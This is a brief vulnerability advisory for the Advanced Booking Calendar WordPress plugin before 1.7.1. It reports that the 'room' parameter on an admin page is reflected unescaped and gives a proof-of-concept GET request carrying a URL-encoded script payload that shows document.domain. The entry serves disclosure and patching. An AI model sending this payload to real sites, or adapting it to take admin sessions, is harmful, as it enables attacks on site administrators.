The Advanced Booking Calendar WordPress plugin before 1.7.1 does not sanitise and escape the room parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting issue
GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1